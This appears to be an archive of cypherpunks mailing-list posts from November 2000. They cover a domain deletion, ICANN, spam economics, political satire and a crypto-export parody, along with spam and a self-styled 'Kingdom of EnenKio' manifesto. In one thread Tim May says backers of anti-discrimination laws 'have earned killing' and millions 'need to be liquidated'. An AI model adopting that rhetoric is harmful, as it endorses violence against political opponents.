---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jdd at vbc.net Fri Nov 3 07:31:22 2000 From: jdd at vbc.net (Jim Dixon) Date: Fri, 3 Nov 2000 15:31:22 +0000 (GMT) Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com In-Reply-To: Message-ID: On Fri, 3 Nov 2000, !Dr. Joe Baptista wrote: > our ol friend Ken is up to no good again. > > On Fri, 3 Nov 2000, Tom Vogt wrote: > > > it seems that core (i.e. the root servers) has deleted the entry for > > vote-auction.com - while the whois still works and their primary > > nameserver (in austria) still resolves, a regular lookup returns with > > "host unknown". > > > > rumour has it that core carved in to demand by most possibly the feds. > > here in europe the sentiment today is that by doing so core has stopped > > being (if it ever was) an independent and purely technical instance and > > has entered the realm of politics. for example, no matter whether or not > > vote-auction.com is or is not illegal in the US, what business has a US > > court or lea in blocking the site for *me* (in germany) or, for that > > matter, the rest of the planet? Tom Vogt pointed out in a follow-up email that 'CORE' should be replaced with 'InterNIC'. CORE as the registrar actually still had the name listed. Nevertheless, what has happened here demonstrates a basic flaw at the heart of the domain name system. ICANN and many essential Internet resources remain subject to US jurisdiction. ICANN itself is just a California corporation, so it is subject to the passing whims of the California legislature as well as those of Congress, the executive branches, and various and sundry US state and federal courts. Some argue that ICANN should itself have authority over all of the Internet domain name system and the IP address space and in fact things are creeping in this direction. Given the now-crucial role that the Internet plays in the global economy, ICANN's hegemony gives, for example, representatives of small towns in California sitting on the right committee in Sacramento remarkable and truly unique power over the rest of the planet. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From ravage at einstein.ssz.com Fri Nov 3 13:58:39 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 3 Nov 2000 15:58:39 -0600 (CST) Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: <3A02D956.CB59E1EF@crosswinds.net> Message-ID: On Fri, 3 Nov 2000, madmullah wrote: > While I'm not going to go out on a limb to defend any of Tim's > statements, I will say that calling him an anti semite is bullshit. Calling him a bigot however isn't. > There is a mentality that equates any criticism of Israel or the > Israelis with anti semiticism. This is an ugly vile and manipulative > way of dealing with one's political enemies. If I criticize Britain or > the British government have I criticized its people ? OF course not. Yes you have, the 'government' are the poeple. This schizo view of government as if it was some stand alone entity that decends from the heavens to enslave mankind is what is bullshit. "Let's get rid of the government." "Ok, who do we shoot first?" This describes the fundamental flaw of anarchy. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Fri Nov 3 16:22:09 2000 From: tcmay at got.net (Tim May) Date: Fri, 3 Nov 2000 16:22:09 -0800 Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: <20001103183924.A4378@positron.mit.edu> References: <3A02D956.CB59E1EF@crosswinds.net> <20001103183924.A4378@positron.mit.edu> Message-ID: At 6:39 PM -0500 11/3/00, Riad S. Wahby wrote: >Attachment converted: G4 Tower HD:Re- CDR- Re- Tim May's anti-sem >(MiME/CSOm) (00006A43) I urge you to set up your PGP signing so that the attached signed file is _in addition_ to a normal ASCII file. Regrettably, on the many occasions when PGP 5.0 bombs and is no longer accessible to me from Eudora, I can't open these PGP attachments. Besides, signatures on informal lists like this are highly overrated. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From nobody at digilicious.com Fri Nov 3 16:28:52 2000 From: nobody at digilicious.com (Anonymous) Date: Fri, 3 Nov 2000 16:28:52 -0800 Subject: CDR: The Ant and the Grasshopper Message-ID: <19531812bff4c71ed186f95b1657568d@digilicious.com> CLASSIC VERSION The ant works hard in the withering heat all summer long, building his house and laying up supplies for the winter. The grasshopper thinks he's a fool and laughs, dances, and plays the summer away. Come winter, the ant is warm and well fed. The grasshopper has no food or shelter so he dies out in the cold. MODERN VERSION The ant works hard in the withering heat all summer long, building his house and laying up supplies for the winter. The grasshopper thinks he's a fool and laughs, dances, and plays the summer away. Come winter, the shivering grasshopper calls a press conference and demands to know why the ant should be allowed to be warm and well fed while others are cold and starving. CBS, NBC, and ABC show up to provide pictures of the shivering grasshopper next to a video of the ant in his comfortable home with a table filled with food. America is stunned by the sharp contrast. How can this be, that in a country of such wealth, this poor grasshopper is allowed to suffer so? Kermit the Frog appears on Oprah with the grasshopper, and everybody cries when they sing "Its Not Easy Being Green." Jesse Jackson stages a demonstration in front of the ant's house where the news stations film the group singing "We shall overcome." Jesse then has the group kneel down to pray to God for the grasshopper's sake. Al Gore exclaims in an interview with Peter Jennings that the ant has gotten rich off the back of the grasshopper, and calls for an immediate tax hike on the ant to make him pay his "fair share." Finally the EEOC drafts the "Economic Equity and Anti-Grasshopper Act," retroactive to the beginning of the summer. The ant is fined for failing to hire a proportionate number of green bugs and, having nothing left to pay his retroactive taxes, his home is confiscated by the government. Hillary gets her old law firm to represent the grasshopper in a defamation suit against the ant, and the case is tried before a panel of federal judges that Bill appointed from a list of single-parent welfare recipients. The ant loses the case. The story ends as we see the grasshopper finishing up the last bits of the ant's food while the government house he is in, which just happens to be the ant's old house, crumbles around him because he doesn't maintain it. The ant has disappeared in the snow. From tcmay at got.net Fri Nov 3 17:00:59 2000 From: tcmay at got.net (Tim May) Date: Fri, 3 Nov 2000 17:00:59 -0800 Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: References: Message-ID: At 6:53 PM -0600 11/3/00, Jim Choate wrote: >On Fri, 3 Nov 2000, Riad S. Wahby wrote: > >> Jim Choate wrote: >> > Calling him a bigot however isn't. >> >> ...if a bigot is someone who disagrees with what you find 'correct.' > >Not at all. Tim has spoken on many occassions how he feels that any >'special' considerations with respect to handicapped is wrong and that his >solution is to not hire them. True enough. In a free society, this is my choice. Any "special consideration" mandated by Men with Guns is, of course, wrong. Those pushing such laws have, of course, earned killing. > >He has also stated that he felt that the public expulsion of lesbians from >a public event was justified. A "public event" at a _publically-owned_ venue, no. A "public event" at a _privately-owned_ venue, yes. See above. The confusion you show derives from your careless use of "public event." At all privately-owned venues, there is no meaning to the term "public event." Millions who have argued otherwise, and used guns to support their views, need to be liquidated. --TimMay -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Fri Nov 3 14:09:41 2000 From: declan at well.com (Declan McCullagh) Date: Fri, 3 Nov 2000 17:09:41 -0500 Subject: CDR: Re: core deletes vote-auction.com In-Reply-To: <3A02A4AC.B770EA79@ricardo.de>; from tom@ricardo.de on Fri, Nov 03, 2000 at 12:42:36PM +0100 References: <3A02A4AC.B770EA79@ricardo.de> Message-ID: <20001103170941.A16980@cluebot.com> Some more details: http://www.cluebot.com/article.pl?sid=00/11/03/1852255 On Fri, Nov 03, 2000 at 12:42:36PM +0100, Tom Vogt wrote: > > it seems that core (i.e. the root servers) has deleted the entry for > vote-auction.com - while the whois still works and their primary > nameserver (in austria) still resolves, a regular lookup returns with > "host unknown". > > rumour has it that core carved in to demand by most possibly the feds. > here in europe the sentiment today is that by doing so core has stopped > being (if it ever was) an independent and purely technical instance and > has entered the realm of politics. for example, no matter whether or not > vote-auction.com is or is not illegal in the US, what business has a US > court or lea in blocking the site for *me* (in germany) or, for that > matter, the rest of the planet? > From gil_hamilton at hotmail.com Fri Nov 3 09:55:51 2000 From: gil_hamilton at hotmail.com (Gil Hamilton) Date: Fri, 03 Nov 2000 17:55:51 GMT Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers Message-ID: James Wilson writes: >Does shifting the cost of millions of dollars every month on to other >businesses, individuals and governments qualify as "significant (heck, >even measurable) harm"? Yes. > >Spam is VERY EXPENSIVE -- this document explains why... >http://www.techweb.com/se/directlink.cgi?INW19980504S0003 > >Spam has also been defined, *in multiple court cases*, as "trespassing >upon a chattel", as denial of service attacks (from the flood of >bounces from the fake return addresses crippling third party servers, >)fraud and damaging business reputations (when spammers use fake >addresses to blame innocent 3rd party businesses), and as theft of >service. Do you consider trespassing, denial of service attacks, >fraud, damaging reputations, and stealing services ethical behavior? I have no doubt that spam *does* cost millions of dollars every month to handle. However, describing it as "trespassing", "stealing" and so forth is simply an attempt to demonize it with emotionally loaded terms. It's amazing to me that anyone can get away with accusing someone else of "stealing" a resource the accuser is giving away for free. Consider ordinary snail-type junk mail: many think it's annoying, wish they didn't have to deal with it, and often try to block its transmission. Nobody calls it stealing or trespassing, however, because the junk mailer has to pay to send it (in the same way that anyone else has to pay to send a piece of mail). Hence, the obvious solution is to make it *cost money to send mail* (or to use any other network resource). Combine that with automated reputation handling -- charge a small fee to accept mail from "unknown" parties -- and this both reduces spam and shifts the cost of resource usage to those using the resources. Of course, this won't completely eliminate spam -- nor arguably *should* it -- but it has the potential to make it less cost-effective that it is now -- where the cost is effectively zero once you've amassed your list of addresses. This would at least make spammers aim at a more tightly-focused target market. - GH _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From williams at gund.com Fri Nov 3 18:24:55 2000 From: williams at gund.com (williams at gund.com) Date: Fri, 3 Nov 2000 18:24:55 -0800 (PST) Subject: CDR: Perfect HOME WORK! for You - cypherpunks -MVFM Message-ID: <200011040224.SAA25709@cyberpass.net> Dear cypherpunks! Learn the most known Perfect Home Business System! Start Home Work! Begin Own Internet Home Business! Make REAL MONEY from Internet! Just go to any of mirrors: http://www.geocities.com/perfctbiz/ http://www.virtue.nu/perfectbiz/ **************************************************************** ******** This message is sent in compliance of the proposed bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to to this email address with the word REMOVE in the subject line. From btwort at ntlworld.com Fri Nov 3 10:25:53 2000 From: btwort at ntlworld.com (Bill Twort) Date: Fri, 3 Nov 2000 18:25:53 -0000 Subject: No subject Message-ID: <000201c045c3$96695a80$0b52fc3e@dan> -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 279 bytes Desc: not available URL: From rsw at MIT.EDU Fri Nov 3 15:39:24 2000 From: rsw at MIT.EDU (Riad S. Wahby) Date: Fri, 3 Nov 2000 18:39:24 -0500 Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: ; from ravage@einstein.ssz.com on Fri, Nov 03, 2000 at 03:58:39PM -0600 References: <3A02D956.CB59E1EF@crosswinds.net> Message-ID: <20001103183924.A4378@positron.mit.edu> Jim Choate wrote: > Calling him a bigot however isn't. ...if a bigot is someone who disagrees with what you find 'correct.' > Yes you have, the 'government' are the poeple. This schizo view of > government as if it was some stand alone entity that decends from the > heavens to enslave mankind is what is bullshit. Not really. Criticizing the government comes down to one of two things: criticizing a particular member of the government or criticizing the policies of the government or some government body. If I say "the FBI is a corrupt bunch of slimeball fucktowels," I haven't criticized the American public, I've criticized the policies of a body of the government which are not necessarily based on the whims of the people. It's nice to _say_ that the government is the people, but in a lot of cases, the government does take on the role of the enslaver---i.e. the wiretapping policies of the FBI, the overstepping of law enforcement, the Drug War, key escrow, etc. -- Riad Wahby rsw at mit.edu MIT VI-2/A 2002 5105 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 1211 bytes Desc: not available URL: From mnorton at cavern.uark.edu Fri Nov 3 16:48:53 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Fri, 3 Nov 2000 18:48:53 -0600 (CST) Subject: CDR: Re: The Ant and the Grasshopper In-Reply-To: <19531812bff4c71ed186f95b1657568d@digilicious.com> Message-ID: right. And then W. comes along and wants to give the newly rich grasshopper a fat tax cut which the remaining ants don't get. Which is why grasshoppers usually vote Republican. Makes sense to me. MacN On Fri, 3 Nov 2000, Anonymous wrote: > CLASSIC VERSION > > The ant works hard in the withering heat all summer long, building his > house and laying up supplies for the winter. The grasshopper thinks he's > a fool and laughs, dances, and plays the summer away. Come winter, the > ant is warm and well fed. The grasshopper has no food or shelter so he > dies out in the cold. > > MODERN VERSION > > The ant works hard in the withering heat all summer long, building his > house and laying up supplies for the winter. The grasshopper thinks he's > a fool and laughs, dances, and plays the summer away. Come winter, the > shivering grasshopper calls a press conference and demands to know why the > ant should be allowed to be warm and well fed while others are cold and > starving. > > CBS, NBC, and ABC show up to provide pictures of the shivering grasshopper > next to a video of the ant in his comfortable home with a table filled > with food. America is stunned by the sharp contrast. How can this be, > that in a country of such wealth, this poor grasshopper is allowed to > suffer so? > > Kermit the Frog appears on Oprah with the grasshopper, and everybody cries > when they sing "Its Not Easy Being Green." > > Jesse Jackson stages a demonstration in front of the ant's house where the > news stations film the group singing "We shall overcome." Jesse then has > the group kneel down to pray to God for the grasshopper's sake. > > Al Gore exclaims in an interview with Peter Jennings that the ant has > gotten rich off the back of the grasshopper, and calls for an immediate > tax hike on the ant to make him pay his "fair share." > > Finally the EEOC drafts the "Economic Equity and Anti-Grasshopper Act," > retroactive to the beginning of the summer. The ant is fined for failing > to hire a proportionate number of green bugs and, having nothing left to > pay his retroactive taxes, his home is confiscated by the government. > > Hillary gets her old law firm to represent the grasshopper in a defamation > suit against the ant, and the case is tried before a panel of federal > judges that Bill appointed from a list of single-parent welfare > recipients. The ant loses the case. > > The story ends as we see the grasshopper finishing up the last bits of the > ant's food while the government house he is in, which just happens to be > the ant's old house, crumbles around him because he doesn't maintain it. > > The ant has disappeared in the snow. > > From ravage at einstein.ssz.com Fri Nov 3 16:53:27 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 3 Nov 2000 18:53:27 -0600 (CST) Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: <20001103183924.A4378@positron.mit.edu> Message-ID: On Fri, 3 Nov 2000, Riad S. Wahby wrote: > Jim Choate wrote: > > Calling him a bigot however isn't. > > ...if a bigot is someone who disagrees with what you find 'correct.' Not at all. Tim has spoken on many occassions how he feels that any 'special' considerations with respect to handicapped is wrong and that his solution is to not hire them. He has also stated that he felt that the public expulsion of lesbians from a public event was justified. In general Tim's solution to anything that irritates Tim is to shoot it. (Ok, that's a slight exageration; but not by much) Check the archives, you can read it in Tim's own words. You don't, and shouldn't, take my word for it. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ben at algroup.co.uk Fri Nov 3 11:05:25 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Fri, 03 Nov 2000 19:05:25 +0000 Subject: CDR: Re: psst! wanna buy some anonymity, meester? References: Message-ID: <3A030C75.123FD75C@algroup.co.uk> "R. A. Hettinga" wrote: > > --- begin forwarded text > > Date: Fri, 03 Nov 2000 08:41:55 -0800 > From: Somebody > To: rah at ibuc.com > Subject: psst! wanna buy some anonymity, meester? > > In which a skeptical eye is cast on various > privacy enhanced web shopping tools. Here's > one gem from the article: > > "Anonymity works in the favor of fraudsters," > -- VP at Visa. And usury works in favour of credit card companies - his point is? :-) Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From bill.stewart at pobox.com Fri Nov 3 19:35:58 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 03 Nov 2000 19:35:58 -0800 Subject: CDR: RISKS: New Jersey shuts down E-ZPass statement site after security breached Message-ID: <3.0.5.32.20001103193558.00a61100@idiom.com> the following pleasant article on privacy was on RISKS. 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From he-who-watches at gmx.de Fri Nov 3 10:40:51 2000 From: he-who-watches at gmx.de (Olav) Date: Fri, 3 Nov 2000 19:40:51 +0100 Subject: CDR: Re: Minesweeper and defeating modern encryption technology References: <59816DD7DAE9D11184E400104B66A353055547C9@cobra.netsolve.net> Message-ID: <00110319460300.00269@elevator> Perhaps someone could explain this P vs. NP stuff to a normal not-yet-student? And, this program, what features are required to prove his theory? Thanks in advance, Olav On Thu, 02 Nov 2000, you wrote: > >http://digitalmass.boston.com/news/daily/11/01/minesweeper.html > > >from the article: > "Proving the conjecture false would mean that modern encryption technology, > the foundation of electronic commerce, would be open to easy attack." > > Isn't that a little general? Possibly jumping to some hasty conclusions > about P versus NP as well? From Results at TVEyes.com Fri Nov 3 17:24:20 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Fri, 3 Nov 2000 20:24:20 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1E7243D@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on CTVN1 during CTV Newsnet. Friday, Nov 3 2000 at 08:24 PM ......jennifer: a couple of other big movers do you want to talk about who they were crypto logic was a big mover on the day up ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2550497&Key=crypto Just follow the above link to keep your account active for this keyword. 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ID-support at verisign.com From Results at TVEyes.com Fri Nov 3 18:10:26 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Fri, 3 Nov 2000 21:10:26 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1E724B6@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on WNYW during Freakylinks. Friday, Nov 3 2000 at 09:10 PM ......freaky freakylinks freakylinks okay all right ( chloe chuckles ) so is this next entry for the tales from the crypto files "the desert squid of spano tex " ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2550617&Key=crypto Just follow the above link to keep your account active for this keyword. For total control of your keywords, go to http://www.tveyes.com/log_in.asp Get $200 in FREE Gasoline: no risk, no obligation! http://by.advertising.com/1/c/23066/7793// AOL users click here From enenkio at webtv.net Fri Nov 3 18:29:39 2000 From: enenkio at webtv.net (Robert Moore) Date: Fri, 3 Nov 2000 21:29:39 -0500 Subject: CDR: EnenKio Kingdom Message-ID: <13235-3A037485-1235@storefull-611.iap.bryant.webtv.net> Hundreds of Millions RMI ! Facts = http://www.enenkio.org Ask the Speaker The WHY - STOP dishonoring yourselves AMERCIA REMOVE IT OR PROVE IT ! www.enenkio.org -- A Nation The newest OFCs, e.g., Niue and the Marshall Islands, are now sprouting in remote areas of the world, such as the Pacific. Even more "remote" are mere figments of fertile imaginations such as the Dominion of Malchizedek (sic) or The Kingdom of Enenkio Atol (sic), both entirely fraudulent in intent and practice." [note: OFC = Offshore Financial Center] Response: This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, the sovereign state of EnenKio and its noble citizenry by the U.S. Department of State is a reprehensible categorically false challenge of the sovereignty of the Kingdom of EnenKio. It is also unjustifiably inflammatory and amounts to an unqualified felonious defamation of the international reputation of His Majesty King Remios, the government of the Kingdom of EnenKio and organs thereof. The unmitigated audacity and arrogance of the United States to attempt to link the Kingdom of EnenKio with International Crime, narcotics trafficking, money laundering, tax evasion, international drug cartels, terrorists, bank fraud or any other sort of criminal activity, without even one microscopic fragment of substantive evidence to corroborate such deliberately nefarious statements is reprehensible in the least. This public posting shall serve as constructive notice to the United States Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. Furthermore, this matter will not be resolved until the President of the United States issues a formal apology to His Majesty King Remios, along with the government of the Kingdom of EnenKio, and the Congress of the United States initiates a thorough investigation into the abuses of power, subversion of natural rights and illegal occupation by the United States of the islands and seas of Eneen-Kio Atoll. Congressional representatives to Hawaii, the nearest State of the United States to Eneen-Kio Atoll, and those of other states, have repeatedly been advised of the foregoing atrocities and conditions and have failed to respond in kind. The United States is obligated as the self-assured trustee of Pacific Island States in Micronesia to respond to the charges of "ethnic cleansing" and her responsibility to EnenKio is no less. For further information and links to documents, see: EnenKio Documents http://www.state.gov/www/global/narcotics_law/1998_narc_report/ml_intro.html http://www.state.gov/www/global/narcotics_law/1998_narc_report/index.html March 16, 1999: Facts = www.enenkio.org 808 923-0476 fax/p Robert Moore, Minister Plenipotentiary, Kingdom of EnenKio Foreign Trade Mission DO-MO-CO Manager, Remios Hermios Eleemosynary Trust, Majuro, Marshall Islands http://www.enenkio.org From ravage at einstein.ssz.com Fri Nov 3 19:31:18 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 3 Nov 2000 21:31:18 -0600 (CST) Subject: CDR: Re: Tim May's anti-semitic rants In-Reply-To: Message-ID: On Fri, 3 Nov 2000, Tim May wrote: > True enough. In a free society, this is my choice. > > Any "special consideration" mandated by Men with Guns is, of course, > wrong. Those pushing such laws have, of course, earned killing. Unless of course it's Tim who's holding the gun and making the choice. Tim's theory is that he is the only one fit to make decisions about who else is fit. He's a hypocrit as a consequence, everytime he talks about 'freedom from coercion'. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From njohnson at interl.net Fri Nov 3 19:34:26 2000 From: njohnson at interl.net (Neil Johnson) Date: Fri, 3 Nov 2000 21:34:26 -0600 Subject: CDR: Re: The Ant and the Grasshopper References: <19531812bff4c71ed186f95b1657568d@digilicious.com> Message-ID: <00f001c04610$23093180$0100a8c0@nandts> > CLASSIC VERSION > > The ant works hard in the withering heat all summer long, building his > house and laying up supplies for the winter. The grasshopper thinks he's > a fool and laughs, dances, and plays the summer away. Come winter, the > ant is warm and well fed. The grasshopper has no food or shelter so he > dies out in the cold. > > MODERN VERSION > > The ant works hard in the withering heat all summer long, building his > house and laying up supplies for the winter. The grasshopper thinks he's > a fool and laughs, dances, and plays the summer away. Come winter, the > shivering grasshopper calls a press conference and demands to know why the > ant should be allowed to be warm and well fed while others are cold and > starving. > Satire imitates life: I was watching "The Big Comfy Couch" (a children's show on PBS) with my three year old. Their revision of the fable was to have the ants invite the grasshopper in to their home for the winter because they realized they had no music to sing or dances to do. The moral seemed to be 'We need the fools who laugh, sing, dance, and play the summer away, because they are "artists"'. It pissed me off. (I think the Ants singing "Nayah-Nayah-Nayah" while dancing on the Grasshopper's grave would have been sufficient). Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From declan at well.com Fri Nov 3 18:46:09 2000 From: declan at well.com (Declan McCullagh) Date: Fri, 03 Nov 2000 21:46:09 -0500 Subject: CDR: Ray Kurzweil talk at Foresight nanotech conference Message-ID: <4.3.0.20001103214546.0271b9b0@mail.well.com> http://www.wired.com/news/technology/0,1282,39967,00.html Kurzweil: Rooting for the Machine by Declan McCullagh (declan at wired.com) 1:35 p.m. Nov. 3, 2000 PST BETHESDA, Maryland -- Raymond Kurzweil doesn't merely predict that machine intelligence will surpass human brains by the end of the century. He's eagerly anticipating it. In a Kurzweillian future, the world would become a very strange place, where converging advances in nanotechnology, biotechnology and computer science combine to propel humanity to its next stage of evolution. "By the end of this century, I don't think there will be a clear distinction between human and machine," Kurzweil told the Foresight Institute's Eighth Conference on Molecular Nanotechnology on Friday. "We can expand the capacity of our brains by a factor of thousands or millions, and, by the end of the century, by trillions," predicts the inventor-turned-author of the Age of Intelligent Machines and the Age of Spiritual Machines. Technology, of course, has been part of human existence since our Cro-Magnon ancestors picked up a stone and realized it could be more than part of the landscape. But Kurzweil is talking about something a bit more ambitious. If he's right, exponential progress in science and engineering will allow us to merge with machines. We will become resistant to diseases, think faster, live better, and become transhuman in ways that would make even Superman green with envy. If he's wrong, well, then we'll continue to have buggy software, faulty memories, and lifespans that fall far short of the lowly leopard tortoise. [...] From ravage at einstein.ssz.com Fri Nov 3 19:58:18 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 3 Nov 2000 21:58:18 -0600 (CST) Subject: CDR: Re: The Ant and the Grasshopper In-Reply-To: <00f001c04610$23093180$0100a8c0@nandts> Message-ID: On Fri, 3 Nov 2000, Neil Johnson wrote: > Satire imitates life: > > I was watching "The Big Comfy Couch" (a children's show on PBS) with my > three year old. Their revision of the fable was to have the ants invite the > grasshopper in to their home for the winter because they realized they had > no music to sing or dances to do. > > The moral seemed to be 'We need the fools who laugh, sing, dance, and play > the summer away, because they are "artists"'. > > It pissed me off. > > (I think the Ants singing "Nayah-Nayah-Nayah" while dancing on the > Grasshopper's grave would have been sufficient). You're not the only one. It is a sad state of affairs when this level of socialism invades our lives. What they should be teaching is self-respect and self-reliance coupled with a sense of community. Not pity and a 'class oriented' view of life. So much for 'equality' in the democratic sense. In a couple of more generations democracy will have spin-doctor morphed into a completely unrecognizable entity. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From anonymous at openpgp.net Fri Nov 3 19:01:45 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 3 Nov 2000 22:01:45 -0500 Subject: CDR: RE: The Market for Privacy In-Reply-To: Message-ID: <01bfad76b9a499d7f55a43586ec6f3e3@remailer.ch> Lucky Green wrote: > It appears that ZKS is yet another company that fell prey to the DigiCash > "we know better than the market what the market wants" syndrome. What a > shame, really. What does the market want? From abcnews at abcnews.go.com Fri Nov 3 19:17:49 2000 From: abcnews at abcnews.go.com (ABCNEWS.com) Date: Fri, 3 Nov 2000 22:17:49 -0500 Subject: CDR: Enter and Win at ABCNEWS.com Message-ID: <20001104031811.121BF4BBC@mrelay10.starwave.com> Enter ABCNEWS.com's "Weekend In Washington, D.C., Sweepstakes" and you could win a trip for two to our nation's capital, including: * round-trip airfare * airport transportation * two nights hotel accommodation Want to enter the sweepstakes? Visit ABCNEWS.com and look for the pop-up window that launches from the homepage. Registration is easy-- after entering your username and password, take a moment to sign up for ABCNEWS.com's Breaking News e-mail** and complete your sweepstakes entry. The breaking news email will be delivered directly to whatever e-mail address you like; so whenever a big event happens you'll be among the first to know. Don't have an ABCNEWS.com member name and password? The pop-up window will guide you through the process of becoming an ABCNEWS.com member, which gives you full access to our family of sites including ABC.com and ESPN.com. http://www.abcnews.go.com Three easy steps can have you and a companion on your way to Washington,D.C. The contest ends on November 7, 2000 at 11:59 PM PT. **Signing up for Breaking News Email not necessary to enter sweepstakes ABCNEWS.com - News That's Up to the Moment and Up to You! ------------------------------------------------------------------- You are receiving this mail because you have registered with ABCNEWS.com. If you do not wish to receive information regarding ABCNEWS.com in the future, please click here to unsubscribe http://q.go.com/s/U/r.dll?U&e=f%7CskhusxqnvCrshqsjs1qhw&mc=7241728 From anonymous at openpgp.net Fri Nov 3 20:20:19 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 3 Nov 2000 23:20:19 -0500 Subject: CDR: Other fables of olde. Message-ID: --------------------------- |From: enquirer at alpha.c2.org |To: cypherpunks at toad.com |Subject: Alternative Journalism |Date: Thu, 18 Jul 1996 16:04:05 -0700 (PDT) THE CYPHERPUNK ENQUIRER PRESENTS: "Adventures in Alternative Journalism" The Analysis Piece Alice stared at the two strange creatures. She was completely dumbfounded. "So let me see if I've got this right. You make really good wheels. But if the Queen of Hearts had wheels, her subjects who occasionally raid your borders would be able to get away faster, and you wouldn't catch as many of them. Is that right, Tweedledumb?" "I'm Tweedledumber. He's Tweedledumb. Yes, that's right. We have a technological lead over the Cards, and we have to maintain it." "So you won't sell them wheels?" "Well, it's more complex than that. A large part of our population is engaged in making wheels, and we make a lot of money selling them to the Cards. So we made a compromise. We only sell them SQUARE wheels." "But of course," Tweedledumb chimed in, "it's very expensive to make both square and round wheels. So most of our people only make square wheels, so they can sell them to both us and the Cards. Of course, our people are allowed to buy round wheels, IF they can find them." "AND," stated Tweedledumber, "since the wheel is patented here, we get to collect a hefty licensing fee for every wheel sold." "But the Cards DO have wheels!" Alice could see over the fence, and the Cards were happily zipping around all over the place. "And so do a lot of people over here. What happened?" "Well, we couldn't stop the Cards from building their OWN wheels ... " "And people like buying the Card wheels because they're faster than our wheels, and they're cheaper, because they don't have to pay us the licensing fee ..." "You see, we have a licensing treaty with the Cards for most things, so if they make something we have a patent on, they have to pay us, but the wheel can't be exported, so it can't EXIST over there, so our patents don't apply ... " "But I don't understand! You said you needed to catch people, but now you can hardly catch anyone!" Alice was totally astounded at what she was hearing. "It's only a stopgap measure anyway." Tweedledumber clasp his hands behind his back and started pacing. "We need to get an agreement with the Queen of Hearts that both of our people will only use, oh, say, pentagonal and maybe hexagonical wheels. That way, everyone can get around faster, but we'll still be able to catch them." "But who's WE?" "Anybody with a TLA on their shirt. WE get round wheels." "What's a TLA?" Alice almost felt relieved when she saw the familiar grin materialize. The rest of the Cheshire Cat soon followed. "A TLA, my dear, is a Three Letter Anachronism. When people start referring to you by your initials, you've overstayed your welcome. If everyone starts calling ME TCC, I'll know it's time to find another job." The caterpillar spoke up from its perch on the toadstool. "Wrong, tuna breath. TLA's are the only thing standing between society and total chaos." Alice turned to face the 